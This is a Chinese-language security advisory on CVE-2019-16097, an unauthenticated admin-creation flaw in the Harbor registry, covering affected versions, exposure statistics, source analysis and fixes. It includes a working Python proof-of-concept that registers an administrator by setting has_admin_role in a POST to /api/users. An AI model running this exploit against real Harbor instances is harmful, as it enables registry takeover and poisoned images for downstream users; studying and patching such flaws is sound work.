Harbor存在未授权可以任意创建管理员漏洞

by LauCyun Sep 19 21:27:21 3,746 views

近日,镜像仓库Harbor爆出未经授权可以创建任意管理员的漏洞(CVE-2019-16097)。攻击者可通过构造特定的字符串,在未授权的情况下直接创建管理员账号,从而接管Harbor镜像仓库。

目前利用方式已被公开,官方最新的1.7.61.8.3已修复此漏洞,请使用到的用户尽快升级至安全版本。


图1 Harbor

0x0 前言

Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker Distribution。

作为一个企业级私有Registry服务器,Harbor提供了更好的性能和安全。提升用户使用Registry构建和运行环境传输镜像的效率。Harbor支持安装在多个Registry节点的镜像资源复制,镜像全部保存在私有Registry中,确保数据和知识产权在公司内部网络中管控。另外,Harbor也提供了高级的安全特性,诸如用户管理,访问控制和活动审计等。


图2 Harbor客户

0x1 漏洞描述

攻击者可以通过创建管理员账号来接管Harbor镜像仓库,从而写入恶意镜像,最终可以感染使用此仓库的客户端。

1 危害级别

高危

2 漏洞编号

  • CVE-2019-16097

3 影响范围

受影响版本

  • Harbor 1.7.0 - 1.8.2

不受影响版本

  • Harbor>= 1.7.6
  • Harbor>= 1.8.3

4 全球态势

据ZoomEye统计(关键字:<title>Harbor</title>),在全球范围内对外开放的Harbor资产数为3,456个,分布情况如下图所示:


图3 全球分布

其中中国受影响的资产数量有2,034个,分布情况如下图所示:


图4 国内分布情况

其中大部分分布在北京、广东、浙江、上海等地区,具体如下图所示:


图5 国内分布TOP 10

0x2 漏洞复现

首先,创建文件exp.py,其内容如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import json

data = {"email": "harbor@goharbor.io", "password": "password", "realname": "harbor", "username": "harbor", "has_admin_role": True}
headers = {"Content-Type": "application/json"}
rs = requests.post("<http/https>://<ip>:<port>/api/users", data=json.dumps(data), headers=headers)
if rs.status_code == 201:
    print("success!")
else:
    print("failed!")

然后执行脚本,结果如下图所示:

图6 漏洞利用

最后,用刚创建的用户名密码登录,结果登录成功且该用户为管理员权限,如下图示:


图7 创建管理员账号

0x3 漏洞分析

在源码src/common/moudels/user.gouser的结构体如下:

type User struct {
    UserID          int    `orm:"pk;auto;column(user_id)" json:"user_id"`
    Username        string `orm:"column(username)" json:"username"`
    Email           string `orm:"column(email)" json:"email"`
    Password        string `orm:"column(password)" json:"password"`
    PasswordVersion string `orm:"column(password_version)" json:"password_version"`
    Realname        string `orm:"column(realname)" json:"realname"`
    Comment         string `orm:"column(comment)" json:"comment"`
    Deleted         bool   `orm:"column(deleted)" json:"deleted"`
    Rolename        string `orm:"-" json:"role_name"`
    // if this field is named as "RoleID", beego orm can not map role_id
    // to it.
    Role int `orm:"-" json:"role_id"`
    //  RoleList     []Role `json:"role_list"`
    HasAdminRole bool      `orm:"column(sysadmin_flag)" json:"has_admin_role"`
    ResetUUID    string    `orm:"column(reset_uuid)" json:"reset_uuid"`
    Salt         string    `orm:"column(salt)" json:"-"`
    CreationTime time.Time `orm:"column(creation_time);auto_now_add" json:"creation_time"`
    UpdateTime   time.Time `orm:"column(update_time);auto_now" json:"update_time"`
    GroupIDs     []int     `orm:"-" json:"-"`
    OIDCUserMeta *OIDCUser `orm:"-" json:"oidc_user_meta,omitempty"`
}

其中HasAdminRole参数用来标记用户是否为管理员。

分析一下路由,在src/core/router.go中第50行:

图8 /api/users路由

src/core/api/user.go中负责处理该路由提交的数据,在注册用户POST提交时来到user.go中的POST方法:


图9 POST请求处理逻辑

在判断允许自行注册用户后,创建User对象。之后验证用户和Email后插入数据库,整个过程并未对HasAdminRole进行校验。导致可以新用户可以注册为管理员。

在新版本中增加了对HasAdminRole的校验:

图10 修复

0x4 修复建议

1、关闭自行注册功能;

2、升级Harbor至1.7.6及以上版本或者1.8.3及以上版本。

0x5 参考

Tags